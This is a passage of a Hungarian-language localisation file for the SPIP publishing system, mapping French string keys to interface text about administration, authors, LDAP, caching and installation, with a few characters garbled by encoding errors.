'info_gauche_admin_effacer' => '<b>Ez az oldal csak a honlap gazdai részére elérhető.</b><p> A különböző műszaki karbantartási feladatokra ad lehetőséget. Ezek közül néhany igényel olyan specifikus azonosítási eljárást, ami a honlaphoz FTP elérést követel.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Ez az oldal csak a honlap gazdai részére elérhető.</b><p> A különböző műszaki karbantartási feladatokra ad lehetőséget. Ezek közül néhany igényel olyan specifikus azonosítási eljárást, ami a honlaphoz FTP elérést követel.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Ez az oldal csak a honlap gazdai részére elérhető.</b><p> A különböző műszaki karbantartási feladatokra ad lehetőséget. Ezek közül néhany igényel olyan specifikus azonosítási eljárást, ami a honlaphoz FTP elérést követel.</p>', # MODIF
'info_gauche_auteurs' => 'Itt található a honlap összes szerzője.
Saját státuszuk az ikon színe szerint van jelölve ( adminisztrátor = zöld; szerző = sárga).',
'info_gauche_auteurs_exterieurs' => 'A külső szerzők, melyek nem férhetnek a honlaphoz, kék ikonnal vannak jelölve ;
a törölt szerzők pedig kukával vannak jelölve.', # MODIF
'info_gauche_messagerie' => 'A levelezés lehetővé tesz szerzők közti üzenetcserét, emlékeztetők (saját használatra) megtartását, vagy hírdetések megjelenítését a privát rész főoldalán (amennyiben Ön adminisztrátor).',
'info_gauche_numero_auteur' => 'SZERZŐ SZÁMA',
'info_gauche_statistiques_referers' => 'Ez az oldal a <i>referers</i> listáját mutat, vagyis olyan honlapokat, melyeken az Ön honlapjához hivatkozó linkek találhatók, de csak a tegnapi és a mai napra : ez a lista nullázva van 24 óra után.',
'info_gauche_visiteurs_enregistres' => 'Itt találhatók a honlap nyilvános részén regisztrált látogatók (beíratkozásos fórumok).',
'info_generation_miniatures_images' => 'Bélyegképek generálása a képekről',
'info_gerer_trad' => 'Fordítasi linkek kezelése ?',
'info_hebergeur_desactiver_envoi_email' => 'Bizonyos szolgáltatók nem aktiválják az automatikus email küldést a szerverükről. Ilyen esetben, a következő SPIP funkciók nem fognak működni.',
'info_hier' => 'Tegnap :',
'info_historique_activer' => 'A felülvizsgálatok megfigyelésének aktiválása',
'info_historique_affiche' => 'A verzió megjelenítése',
'info_historique_comparaison' => 'Összehasonlítás',
'info_historique_desactiver' => 'A felülvizsgalatok megfigyelésének inaktiválása',
'info_historique_texte' => 'A felülvizsgalatok megfigyelése egy cikk tartalmához nyújtott összes módosításokről tárolja az előzményeket, és megjeleníti az egymást követő változatok eltéréseket.',
'info_identification_publique' => 'Az Ön nyilvános azonosítása...',
'info_image_process' => 'Válasszon a bélyegképek legjobb készítesi modszerét azzal, hogy kattintson a megfelelő képre.',
'info_image_process2' => '<b>Megjegyzés</b> <i>Ha egyetlen kép sem jelenik meg, akkor ez azt jelenti, hogy a honlapját tároló szervert nem konfigurálták olyan eszkőzök használására. Ha mégis akarja használni ezeket a funkciókat, keresse a rendszergazdát, és a «GD» vagy «Imagick» kiegészítéseket kérje.</i>', # MODIF
'info_images_auto' => 'Automatikusan kalkulált képek',
'info_informations_personnelles' => 'Ötödik lépés : <b>Személyes adatok</b>', # MODIF
'info_inscription_automatique' => 'Új szerzők automatikus beiratkozása',
'info_jeu_caractere' => 'A honlap karakter táblája',
'info_jours' => 'nap',
'info_laisser_champs_vides' => 'hagyja üresen ezeket a mezőket)',
'info_langues' => 'A honlap nyelvei',
'info_ldap_ok' => 'Az LDAP azonosítás telepítve van.',
'info_lien_hypertexte' => 'Hiperhivatkozás :',
'info_liste_redacteurs_connectes' => 'Jelenleg csatlakozott szerzők listája',
'info_login_existant' => 'Ez a login már létezik.',
'info_login_trop_court' => 'A login túl rövid.',
'info_maximum' => 'A legtöbb :',
'info_meme_rubrique' => 'Abban a rovatban',
'info_message' => 'Üzenet kelte',
'info_message_efface' => 'ÜZENET TÖRÖLVE',
'info_message_en_redaction' => 'Az Ön szerkesztés alatti üzenetei',
'info_message_technique' => 'Műszaki üzenet :',
'info_messagerie_interne' => 'Belső levelezés',
'info_mise_a_niveau_base' => 'A SQL adatbázisa naprakész tétele', # MODIF
'info_mise_a_niveau_base_2' => '{{Vigyázat!}} Az SPIP fájlait egyik {elöző} változatot telepített fel, mint ami ezelőtt volt ezen a tárhelyen: az adatbázis veszhet, és a honlap többet nem fog működni.<br />{{Telepítse újra az SPIP fájlait.}}', # MODIF
'info_modifier_rubrique' => 'A rovat módosítása :',
'info_modifier_titre' => 'Módosítás : @titre@',
'info_mon_site_spip' => 'Az én SPIP honlapom',
'info_mot_sans_groupe' => '(Csoport nélküli szavak...)',
'info_moteur_recherche' => 'Integrált kereső motor',
'info_moyenne' => 'Átlagosan :',
'info_multi_articles' => 'A nyelvi menü aktiválása a cikkeknél ?',
'info_multi_cet_article' => 'A cikk nyelve :',
'info_multi_langues_choisies' => 'Lejjebb jelölje ki a szerzők által használható nyelveket.
A honlapján már használt nyelveket (elsőknek jelennek meg) nem lehet inaktiválni.',
'info_multi_rubriques' => 'A nyelvi menü aktiválása a rovatoknál ?',
'info_multi_secteurs' => '... csak a gyökérben található rovatok esetén ?',
'info_nom' => 'Név',
'info_nom_destinataire' => 'Címzett neve',
'info_nom_site' => 'Az Ön honlapja neve',
'info_nombre_articles' => '@nb_articles@ cikk,',
'info_nombre_partcipants' => 'A VITA RÉSZTVEVŐI :',
'info_nombre_rubriques' => '@nb_rubriques@ rovat,',
'info_nombre_sites' => '@nb_sites@ honlap,',
'info_non_deplacer' => 'Nem kell áthelyezni...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP rendszeresen küldhet a honlap legújabb ujdonságait
(nemrég publikált cikkek és hírek).',
'info_non_envoi_liste_nouveautes' => 'Nem kell küldeni az ujdonságok listáját',
'info_non_modifiable' => 'nem módosítható',
'info_non_suppression_mot_cle' => 'ne akarom törölni ezt a kulcsszót.',
'info_notes' => 'Megjegyzések',
'info_nouveaux_message' => 'Új üzenetek',
'info_nouvel_article' => 'Új cikk',
'info_nouvelle_traduction' => 'Új fordítás :',
'info_numero_article' => 'CIKK SZÁMA :',
'info_obligatoire_02' => '[Kötelező]', # MODIF
'info_option_accepter_visiteurs' => 'A látogatói beíratkozás engedélyezése ',
'info_option_faire_suivre' => 'A fórumok üzenetei továbbítása a cikkek szerzői felé',
'info_option_ne_pas_accepter_visiteurs' => 'Látogatói beíratkozás tiltása',
'info_options_avancees' => 'B?VÍTETT OPCIÓK',
'info_ortho_activer' => 'A helyesírás ellenőrző aktiválása',
'info_ortho_desactiver' => 'A helyesírás ellenőrző leállítása',
'info_ou' => 'vagy...',
'info_page_interdite' => 'Tiltott oldal',
'info_par_nombre_article' => '(cikk darabszám szerint)', # MODIF
'info_passe_trop_court' => 'A jelszó túl rövid.',
'info_passes_identiques' => 'A két jelszó nem egyforma.',
'info_pense_bete_ancien' => 'Az Ön régebbi emlékeztet?i', # MODIF
'info_plus_cinq_car' => 'több, mint 5 karakter',
'info_plus_cinq_car_2' => '(több, mint 5 karakter)',
'info_plus_trois_car' => '(több, mint 3 karakter)',
'info_popularite' => 'Népszer?ség : @popularite@ ; látógatások : @visites@',
'info_popularite_4' => 'népszerűség : @popularite@ ; látógatások : @visites@',
'info_post_scriptum' => 'Útóírat',
'info_post_scriptum_2' => 'Útóírat:',
'info_pour' => 'erre',
'info_preview_admin' => 'Csak az adminisztrátorok előnézhetik a honlapot',
'info_preview_comite' => 'Minden szerző előnézheti a honlapot',
'info_preview_desactive' => 'Az előnézet teljesen van leállítva',
'info_preview_texte' => 'Lehetséges előnézni a honlapot, mintha az összes cikk és hír (legalább "javasolt" státusszal) publikálva lenne. Ezt a lehetőséget csak az adminisztrátoroknak, az összes szerzőnek, vagy senkinek kell adni ?',
'info_principaux_correspondants' => 'A főbb levelezőtársai',
'info_procedez_par_etape' => 'lépésről lépésre járjon el',
'info_procedure_maj_version' => 'A naprakésztételes eljárást kell indítani ahhoz, hogy
adaptáljuk az adatbázist az SPIP új változatához.',
'info_ps' => 'U.Í',
'info_publier' => 'publikál',
'info_publies' => 'Az Ön publikált cikkei',
'info_question_accepter_visiteurs' => 'Amennyiben a honlapja vázaiban a látógatók beíratkozhatnak privát részre való hozzáférés nélkül, akkor a lenti opciót kell kijelölni :',
'info_question_inscription_nouveaux_redacteurs' => 'Elfogadja-e az új szerzők beíratkozását a nyilvanos honlapról ? Amennyiben elfogadja, akkor a látogatók beíratkozhatnak
egy automatizált űrlapon és majd hozzáférnek a privát részre, saját cikkei javaslattételére. <blockquote><i>A beíratkozási fázis során,
a felhasználók automatikus emailt kapnak,
mely a privát reszhez szükséges hozzáférési kódokat tartalmazza.
Bizonyos szolgáltatók inaktiválják az emailküldést a szerverükről : ilyen esetben lehetetlen az automatikus beíratkozás.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Kivánja-e használni az SPIP integrált kereső motorját ?
(annak inaktiválása gyorsítja a rendszer működését.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Honlap teteje',
'info_recharger_page' => 'Legyen szíves újratölteni ezt az oldalt egy kis idő múlva.',
'info_recherche_auteur_a_affiner' => 'Túl sok eredmény erre "@cherche_auteur@" ; legyen szíves szükíteni a keresést.',
'info_recherche_auteur_ok' => 'Több szerző talált erre "@cherche_auteur@":',
'info_recherche_auteur_zero' => '"@cherche_auteur@" nincs találat.',
'info_recommencer' => 'Még egyszer, legyen szíves.',
'info_redacteur_1' => 'Szerző',
'info_redacteur_2' => 'van hozzáférése az (<i>ajánlott</i>) privát részre',
'info_redacteurs' => 'Szerzők',
'info_redaction_en_cours' => 'SZERKESZTÉS ALATT VAN',
'info_redirection' => 'Átirányítás',
'info_refuses' => 'Az Ön elutasított cikkei',
'info_reglage_ldap' => 'Opciók: <b>LDAP importálás beállítása</b>', # MODIF
'info_renvoi_article' => '<b>Átirányítás.</b> Ez a cikk erre az oldalra hivatkozik:', # MODIF
'info_reserve_admin' => 'Csak az adminisztrátork módosíthatják ezt a címet.',
'info_restreindre_rubrique' => 'Korlátozni a kezelést a következő rubrikára :',
'info_resultat_recherche' => 'Keresés eredményei :',
'info_rubriques' => 'Rovatok',
'info_rubriques_02' => 'rovatok',
'info_rubriques_trouvees' => 'Talált rovatok',
'info_rubriques_trouvees_dans_texte' => 'Talált rovatok (a szövegben)',
'info_sans_titre' => 'Cím nélkül',
'info_selection_chemin_acces' => '<b>Válassza</b> lejjebb az elérési utat a címtárban :',
'info_signatures' => 'aláírások',
'info_site' => 'Honlap',
'info_site_2' => 'honlap :',
'info_site_min' => 'honlap',
'info_site_reference_2' => 'Felvett honlap',
'info_site_web' => 'HONLAP :', # MODIF
'info_sites' => 'honlapok',
'info_sites_lies_mot' => 'A kulcsszóhoz kötött felvett honlapok',
'info_sites_proxy' => 'Proxy használata',
'info_sites_trouves' => 'Talált honlapok',
'info_sites_trouves_dans_texte' => 'Talált honlapok (a szövegben)',
'info_sous_titre' => 'Alcím :',
'info_statut_administrateur' => 'Adminisztrátor',
'info_statut_auteur' => 'A szerző státusza :', # MODIF
'info_statut_auteur_a_confirmer' => 'Megerősítendő beíratkozás',
'info_statut_auteur_autre' => 'Egyéb státusz :',
'info_statut_efface' => 'Törölt',
'info_statut_redacteur' => 'Szerző',
'info_statut_utilisateurs_1' => 'Az importált felhasználók alapértelmezett státusza',
'info_statut_utilisateurs_2' => 'Válassza azt a státuszt, ami lesz hozzárendelve az LDAP címtárban lévő személyekhez, ha csatlakoznak legelőször. Később ez az érték egyénileg lesz módosítható.',
'info_suivi_activite' => 'A szerkesztői tevékenység követése',
'info_surtitre' => 'Előcím :',
'info_syndication_integrale_1' => 'Az Őn honlapja szidikálási (RSS) fájlokat javasol (lásd « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'A cikkek teljes tartalmát kiván-e átadni, vagy csak egy néhányszáz karakteres összefoglalást?',
'info_taille_maximale_vignette' => 'A rendszer által generált bélyegképek legnagyobb mérete :',
'info_terminer_installation' => 'Most bejefezheti a szabványos telepítési eljárást.',
'info_texte' => 'Szöveg',
'info_texte_explicatif' => 'Magyarázat',
'info_texte_long' => '(hosszú a szöveg : tehát több részben bontva jelenik meg, melyek össze lesznek hozva jóváhagyás után.)',
'info_texte_message' => 'Üzenete szövege :', # MODIF
'info_texte_message_02' => 'Üzenet szövege',
'info_titre' => 'Cím :',
'info_total' => 'Összesen :',
'info_tous_articles_en_redaction' => 'Az összes szerkesztés alatti cikk',
'info_tous_articles_presents' => 'Az összes publikált cikk abban a rovatban',
'info_tous_les' => 'minden :',
'info_tous_redacteurs' => 'Hírdetések minden szerző részére',
'info_tout_site' => 'A egész honlap',
'info_tout_site2' => 'A cikk nem lett lefordítva erre a nyelvre.',
'info_tout_site3' => 'A cikk le lett fordítva arra a nyelvre, de később módosült az eredeti. A fordítást frissíteni kell.',
'info_tout_site4' => 'A cikk le lett fordítva erre a nyelvre, és naprakész a fordítás.',
'info_tout_site5' => 'Eredeti cikk.',
'info_tout_site6' => '<b>Vigyázat :</b> csak az eredeti cikkek jelennek meg.
A fordítások az eredetihez vannak csatolva olyan színben,
ami állapotát jelzi :',
'info_travail_colaboratif' => 'Együttműködési munka a cikkeken',
'info_un_article' => 'egy cikk,',
'info_un_site' => 'egy honlap,',
'info_une_rubrique' => 'egy rovat,',
'info_une_rubrique_02' => '1 rovat',
'info_url' => 'URL :',
'info_url_site' => 'HONLAP URL-JE :',
'info_urlref' => 'Hiperhivatkozás :',
'info_utilisation_spip' => 'Mostantól kezdheti használni a publikálási rendszert...',
'info_visites_par_mois' => 'Megjelenítés havonta :',
'info_visiteur_1' => 'Vendége',
'info_visiteur_2' => 'a publikus honlapnak',
'info_visiteurs' => 'Látógatók',
'info_visiteurs_02' => 'A nyilvános honlap vendégei',
'install_echec_annonce' => 'A telepítés valószinűleg nem fog sikerülni, vagy a honlap nem fog megfelelően működni...',
'install_extension_mbstring' => 'Azzal nem működik az SPIP :',
'install_extension_php_obligatoire' => 'SPIP a PHP-t igényli :',
'install_select_langue' => 'Válasszon egy nyelvet és kattintson a « következő » gombra a telepítési folyamat indítására.',
'intem_redacteur' => 'szerző',
'item_accepter_inscriptions' => 'Elfogadni a beíratkozásokat',
'item_activer_messages_avertissement' => 'A figyelmeztető üzenetek aktiválása',
'item_administrateur_2' => 'adminisztrátor',
'item_afficher_calendrier' => 'Megjelenítés a naptárban',
'item_autoriser_documents_joints' => 'Cikkekhez csatolt dokumentumok engedélyezése',
'item_autoriser_documents_joints_rubriques' => 'Rovatokban lévő dokumentumok engedélyezése',
'item_autoriser_syndication_integrale' => 'A cikkek teljes tartalma a szindikálási fájlokban',
'item_choix_administrateurs' => 'az adminisztrátorok',
'item_choix_generation_miniature' => 'Bélyegképek automatikus létrehozása.',
'item_choix_non_generation_miniature' => 'A bélyegképeket nem kell létrehozni.',
'item_choix_redacteurs' => 'a szerzők',
'item_choix_visiteurs' => 'a nyilvános honlap látógatói',
'item_creer_fichiers_authent' => 'A .htpasswd tipusú fájlok létrehozása',
'item_limiter_recherche' => 'Keresés a honlapon',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'cikkekre',
'item_mots_cles_association_rubriques' => 'rovatokra',
'item_mots_cles_association_sites' => 'felvett, vagy szindikált honlaopkra',
'item_non' => 'Nem',
'item_non_accepter_inscriptions' => 'Beíratkozások elutasítása',
'item_non_activer_messages_avertissement' => 'Nincs figyelmeztető üzenet',
'item_non_afficher_calendrier' => 'Nincs megjelenítés a naptárban',
'item_non_autoriser_documents_joints' => 'Dokumentumok tiltása a cikkekben',
'item_non_autoriser_documents_joints_rubriques' => 'Dokumentumok tiltása a rovatokban',
'item_non_autoriser_syndication_integrale' => 'Csak egy összefoglalást átadni',
'item_non_creer_fichiers_authent' => 'Nem kell létrehozni ezeket a fájlokat',
'item_non_gerer_statistiques' => 'Nem kell kezelni a statisztikákat',
'item_non_limiter_recherche' => 'Keresés bővítése a felvett honlapok tartalmáig',
'item_non_publier_articles' => 'Nem kell publikálni a cikkeket az adott publikálási dátum előtt.',
'item_non_utiliser_moteur_recherche' => 'Nem kell motort használni',
'item_nouvel_auteur' => 'Új szerző',
'item_nouvelle_rubrique' => 'Új rovat',
'item_oui' => 'Igen',
'item_publier_articles' => 'A cikkek publikálása, publikálási dátumtól függetlenül.',
'item_reponse_article' => 'Hozzászólás a cikkhez',
'item_utiliser_moteur_recherche' => 'Kereső motor használata',
'item_visiteur' => 'vendég',
// J
'jour_non_connu_nc' => 'névtelen',
// L
'lien_ajout_destinataire' => 'A címzett hozzáadása',
'lien_ajouter_auteur' => 'A szerző hozzáadása',
'lien_ajouter_participant' => 'Egy résztvevő hozzáadása',
'lien_email' => 'email',
'lien_nom_site' => 'HONLAP NEVE :',
'lien_retirer_auteur' => 'A szerző eltávolítása',
'lien_retrait_particpant' => 'a résztvevő eltávolítása',
'lien_site' => 'honlap',
'lien_supprimer_rubrique' => 'a rovat törlése',
'lien_tout_deplier' => 'Minden kibontása',
'lien_tout_replier' => 'Minden összecsukása',
'lien_trier_nom' => 'Név szerinti sorbarendezés',
'lien_trier_nombre_articles' => 'Cikk darabszám szerinti sorbarendezés',
'lien_trier_statut' => 'Státusz szerinti sorbarendezés',
'lien_voir_en_ligne' => 'JELENLEG :',
'logo_article' => 'A CIKK LOGOJA', # MODIF
'logo_auteur' => 'A SZERZŐ LOGOJA', # MODIF
'logo_rubrique' => 'ROVAT LOGOJA', # MODIF
'logo_site' => 'A HONLAP LOGOJA', # MODIF
'logo_standard_rubrique' => 'A ROVATOK SZABVÁNYOS LOGOJA', # MODIF
'logo_survol' => 'LEBEGŐ LOGO', # MODIF
// M
'menu_aide_installation_choix_base' => 'Adatbázis kiválasztása',
'module_fichier_langue' => 'Nyelvi fájl',
'module_raccourci' => 'Röviditések',
'module_texte_affiche' => 'Megjelenített szöveg',
'module_texte_explicatif' => 'A következő rövidítések beszúrhatók a nyilvános honlap csontvázaiba. Automatikusan lesznek lefordítva, amennyiben létezik egy nyelvi fájl.',
'module_texte_traduction' => 'A « @module@ » nyelvi fájl létezik :',
'mois_non_connu' => 'ismeretlen',
// O
'onglet_repartition_actuelle' => 'jelenleg',
// P
'plugin_etat_developpement' => 'Fejlesztés alatt',
'plugin_etat_experimental' => 'kisérlet jellegű',
'plugin_etat_stable' => 'stabil',
'plugin_etat_test' => 'tesztelés alatt',
'plugins_liste' => 'plugin lista',
// R
'repertoire_plugins' => 'Mappa :',
// S
'statut_admin_restreint' => '(korlátolt admin)', # MODIF
// T
'taille_cache_image' => 'Az SPIP által kalkulált képek (dok. bélyegképei, grafikusan megjelenő címek, TeX formatumú matek függvények...) @taille@ méretű helyet foglalnak a @dir@ nevű mappában.',
'taille_cache_infinie' => 'Ennél a honlapnál nincs méretkorlátozás a <code>CACHE/</code> mappában.',
'taille_cache_maxi' => 'SPIP próbálja korlátozni a <code>CACHE/</code> mappa méretét kb. <b>@octets@</b> méretre.',
'taille_cache_octets' => 'A cache mérete jelenleg @octets@.', # MODIF
'taille_cache_vide' => 'A cache üres.',
'taille_repertoire_cache' => 'Cache mappa mérete',
'text_article_propose_publication' => 'Publikálásra javasolt cikk. Ne habozzon hozzászólni a cikkhez kötött fórum segítségével (az oldal végén).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Bizonyos LDAP szerverek nem fogadják el a névtelen hozzáférést. Ilyen esetben egy azonosítót kell jelezni ahhoz, hogy lehessen keresni adatokat a címtárban. Legtöbb esetben azonban, a következő mezők üresen maradhatnak.',
'texte_admin_effacer_01' => 'Ez a parancs az adatbázis <i>egész</i> tartalmát törli,
bele értve az <i>összes</i> szerzői, illetve adminisztrátori hozzáférést. Miután futtata, akkor indítani kell az
SPIP újratélépítését egy újabb adatbázis létrehozására, valamint egy első adminisztrátori hozzáférést.',
'texte_adresse_annuaire_1' => '(Ha az Ön címtára ugyanazon a gépen van telepítve, mint ez a honlap, akkor valószínűleg «localhost»-ról van szó.)',
'texte_ajout_auteur' => 'A következő szerző lett hozzátéve a cikkhez :',
'texte_annuaire_ldap_1' => 'A címtárhoz van hozzáférése (LDAP), akkor ezt az SPIP-be való a felhasználók automatikus importálására használhatja.',
'texte_article_statut' => 'Ez a cikk :',
'texte_article_virtuel' => 'Virtuális cikk',
'texte_article_virtuel_reference' => '<b>Virtuális cikk :</b> SPIP honlapján felvett cikk, de másik URL felé átirányítva. Az átirányítás megszüntetésére törölje a fenti URL-t.',
'texte_aucun_resultat_auteur' => 'Nincs találat erre "@cherche_auteur@"',
'texte_auteur_messagerie' => 'A honlap állandóan jelezheti a csatlakozott szerzők listáját, ami közvetlen üzenetcserét tesz lehetővé. Úgy is döntheti, hogy nem szerepel a listában (Ön "láthatatlan" a többi felhasználók számára).',
'texte_auteur_messagerie_1' => 'Ez a honlap engedi az üzenetcserét és a magán fórumok létrehozását a résztvevők között. Úgy dönhet, hogy nem vesz részt ezekben.',
'texte_auteurs' => 'A SZERZŐ',
'texte_choix_base_1' => 'Válassza az adatbázist :',
'texte_choix_base_2' => 'A SQL szerver több adatbázist tartalmaz.', # MODIF
'texte_choix_base_3' => '<b>Jelölje</b> azt, amit az Ön Web szolgaltatója adta:', # MODIF
'texte_commande_vider_tables_indexation' => 'Ezt a parancsot használja a használt indexálási táblák törlésére, melyeket használ az SPIP belső kereső motorja. Ettól tárhelyet lehet visszanyerni.',
'texte_compresse_ou_non' => '(ez tömörítve lehet, vagy nem)',
'texte_compte_element' => '@count@ darab',
'texte_compte_elements' => '@count@ darab',
'texte_connexion_mysql' => 'Ellenőrizze a Web szolgáltatója által adott információkat : található az, ha fut SQL, illetve annak csatlakozási paraméterei.', # MODIF
'texte_contenu_article' => '(Cikk tartalma néhány szóban.)',
'texte_contenu_articles' => 'A honlap felépítése alapján, úgy döntheti,
hogy a cikkek bizonyos elemei nincsenek kihasználva.
Használja a lenti listát ahhoz, hogy jelezze milyen elemek állnak rendelkezésre.',
'texte_crash_base' => 'Ha széttört az adatbázis
egy automatikus javítást kisérletezhet.',
'texte_creer_rubrique' => 'Mielőbb írhat cikkeket,<br /> egy rovatot kell létrehozni.', # MODIF
'texte_date_creation_article' => 'CIKK LÉTREHOZÁSÁNAK IDŐPONTJA :',
'texte_date_publication_anterieure' => 'Elöző szerkesztés dátuma :',
'texte_date_publication_anterieure_nonaffichee' => 'Nem kell megjeleníteni az elöző szerkesztés(ek) időpontját.',
'texte_date_publication_article' => 'NYILVÁNOS PUBLIKÁLÁS IDŐPONTJA :',
'texte_descriptif_petition' => 'Az aláírásgyűjtés leírása',
'texte_descriptif_rapide' => 'Rövid leírás',
'texte_effacer_base' => 'Az SPIP adatbázisa törlése',
'texte_effacer_donnees_indexation' => 'Az indexálási adatok törlése',
'texte_en_cours_validation' => 'Az alábbi híreket és cikkeket javasolták publikálásra. Szóljon hozzá a hozzájuk csatolt fórumokban.', # MODIF
'texte_enrichir_mise_a_jour' => 'A szerkesztést lehet szépíteni a « nyomdai jelek » segítségével.',
'texte_fichier_authent' => '<b>SPIP-nek kell-e létrehoznia spéciális <tt>.htpasswd</tt>
és <tt>.htpasswd-admin</tt> fájlokat a @dossier@ mappában?</b><p>
Azok a fájlok használhatók a szerzői és adminisztrátori hozzáférés korlátozására bizonyos helyeken
(például külső statistikai program).</p><p>
Ha nem kell, ezt az opciót ki lehet hagyni
az alapértelmezett értékkel (nincs fájllétrehozás).</p>', # MODIF
'texte_informations_personnelles_1' => 'Most a rendszer fog létrehozni egy személyes hozzáférést Önnek.',
'texte_informations_personnelles_2' => '(Megjegyzés : ha újratelepítésról van szó, és még mindig megy a hozzáférése, akkor', # MODIF
'texte_introductif_article' => '(A cikk bevezető szövege.)',
'texte_jeu_caractere' => 'Az Őn honlapján ajánlott az univerzális abécé (<tt>utf-8</tt>) használata :az összes nyelv megjelenítését teszi lehetővé, és már nem okoz kompatibilitási problemát a korszerű böngészőkkel.',
'texte_jeu_caractere_2' => 'Vigyázat: E beállítás nem végzi az adatbázisban már meglévő szövegek konvertálását.',
'texte_jeu_caractere_3' => 'Az Őn honlapja jelenleg a kovetkező karaktertáblát használja :',
'texte_jeu_caractere_4' => 'Ha nem felel meg adatai állapotának (pl. adatbázisresztaurálás után), vagy ha <em>inditja ezt a honlapot</em>, és szeretne egy másik karaktertáblát használni, ezt az utóbbit jelölje ide :',
'texte_jeu_caractere_conversion' => 'Megjegyzés : úgy döntheti, hogy véglegesen konvertálja honlapja összes szövegeit (cikkek, hírek, fórumok, stb.) az <tt>utf-8</tt> karakter táblára az <a href="@url@">utf-8-ra konvertálási oldal</a> látógatásával.',
'texte_lien_hypertexte' => '(Ha az Ön üzenete egy publikált cikkre, vagy egy több információt tartalmazó oldara hivatkozik, lejjeb jelezze az oldal nevét, illetve címét.)',
'texte_login_ldap_1' => '(Névtelen hozzáféréshez üresen kell hagyni, vagy beírni a teljes utat például « <tt>uid=azennevem, ou=users, dc=azen-domainem, dc=com</tt> ».)',
'texte_login_precaution' => 'Vigyázat ! Ez az a login, amivel jelenleg csatlakozva van.
Ezt az űrlapot óvatosan használja...',
'texte_message_edit' => 'Vigyázat : ezt az üzenetet a honlap összes adminisztrátora módosíthatja, és az összes szerző láthatja. A hirdetéseket csak a honlap legfontosabb eseményeinek közlésére használja.',
'texte_mise_a_niveau_base_1' => 'Éppen SPIP verziófrissítést végzett.
Most pedig a honlap adatbázisát kell naprakésszé tenni.',
'texte_modifier_article' => 'Cikk módosítása :',
'texte_moteur_recherche_active' => '<b>A kereső motor aktiválva van.</b> Ezt a parancsot használja,
ha gyors újraindexálást szeretne (például egy mentés resztaurálása után).
Jegyezze meg, hogy a rendesen (az SPIP felületen) módosított dokumentumok automatikusan vannak újra indexelve : ez a parancs tehát csak rendkivül esetben hasznos.',
'texte_moteur_recherche_non_active' => 'A kereső motor nincs aktiválva.',
'texte_multilinguisme' => 'Amennyiben több nyelvű cikkeket szeretne kezelni, komplex böngészés mellett, egy nyelvi menüt lehet tenni a cikkekhez és/vagy a rovatokhoz, a honlapja felépítésétől függően.', # MODIF
'texte_multilinguisme_trad' => 'Egy linkeket kezelő rendszert is lehet aktiválni egy cikk különböző fordításai között.', # MODIF
'texte_non_compresse' => '<i>nincs tömörítve</i> (az Ön szervere nem él azzal a lehetőséggel)',
'texte_nouveau_message' => 'Új üzenet',
'texte_nouvelle_version_spip_1' => 'Az SPIP egyik újabb verzióját telepítette.',
'texte_nouvelle_version_spip_2' => 'Ez az új verzió a szokásosnál teljesebb frissítést igényel. Ha Ön a honlap gazdája, akkor törölje a @connect@ nevű fájlt, folytassa a telepítést ahhoz, hogy az adatbázis csatlakozási paramétereit módosíthassa.<p> (Megjegyzés. : amennyiben elfelejtette a csatlakozási paramétereit, tekintse át a @connect@ nevű fájlt, mielőbb kitörölne...)</p>', # MODIF
'texte_operation_echec' => 'Menjen az elöző oldalra, jelöljön ki egy másik adatbázist, vagy hozzon létre egy ujat. Ellenőrizze az Ön szolgáltatója által adott információkat.',
'texte_plus_trois_car' => 'több, mint 3 karakter',
'texte_plusieurs_articles' => 'Több szerző talált "@cherche_auteur@" szerint:',
'texte_port_annuaire' => '(Az alapértelmezett érték általában megfelel.)',
'texte_presente_plugin' => 'Ez az oldal sorolja a rendelkezésre álló plugineket a honlapon. Ezek közül a szükségeseket aktiválhatja a megfelelő négyzet kijelölésével. ',
'texte_proposer_publication' => 'Ha a cikk be van fejezve,<br /> akkor a publikálását javasolhatja.', # MODIF
'texte_proxy' => 'Bizonyos esetekben (intranet, biztonságos hálózatok...),
szükséges használni egy <i>HTTP proxy</i>-t a szindikált honlapok elérésére.
Ha kell, lejjebb jelezze a címét, ilyen formában
<tt><html>http://proxy:8080</html></tt>. Általában,
ezt a cellát üresen kell hagyni.', # MODIF
'texte_publication_articles_post_dates' => 'Hogyan viselkedjen az SPIP azokkal a cikkekel, melynek a
publikálási dátuma már jövőbeli ?',
'texte_rappel_selection_champs' => '[Ne felejtse el helyesen kijelölni ezt a mezőt.]',
'texte_recalcul_page' => 'Ha csak egy oldalt
szeretne frissíteni, akkor menjen inkább a nyilvános részre, és kattintson az «oldal frissítés» gombra.',
'texte_recapitiule_liste_documents' => 'Ez az oldal felsorolja ezeket a dokumentumokat, melyeket helyezte a rovatokba. Minden egyes dokumentum módosítására, kövesse a rovata oldalához vezető linket.',
'texte_recuperer_base' => 'Adatbázis javítása',
'texte_reference_mais_redirige' => 'a cikke fel van véve az Ön SPIP honlapján, de át lett irányítva egy másik URL felé.',
'texte_requetes_echouent' => '<b>Ha bizonyos SQL lekérdezések rendszeresen és oktalanul hibásak,
lehetséges, hogy maga az adatbázis az oka.</b><p>
SQL ad lehetőséget a táblák javítására, ha véletlenül lett sérülved.
Itt lehet javítást kezdeményezni ;
Kudarc esetén, tartson másolatot a képernyőről,
ami talán nyomokat tartalmaz...</p><p>
Ha a probléma fennáll, keresse a szolgáltatóját.</p>', # MODIF
'texte_selection_langue_principale' => 'Lejjebb kijelölhető a honlap « fő nyelve ». Ez a választás - szerencsére ! - nem kötelez írni cikkeket a választott nyelven, de meghatározhatja :
<ul><li> a nyilvános részen az alapértelmezett dátumformátumot ;</li>
<li> milyen nyomdai motort használhasson az SPIP a szövegekre ;</li>
<li> a nyilvános részen használt nyelv a menükben ;</li>
<li> az alapértelmezett nyelv a privát részben.</li></ul>',
'texte_sous_titre' => 'Alcím',
'texte_statistiques_visites' => '(sötét sávok : vasárnap / sötét görbe : átlag kialakulása)',
'texte_statut_attente_validation' => 'jóváhagyás folyamatban',
'texte_statut_publies' => 'publikált',
'texte_statut_refuses' => 'elutasított',
'texte_suppression_fichiers' => 'EZt a parancsot használja az SPIP cache-ban lévő összes fájlok törlésére
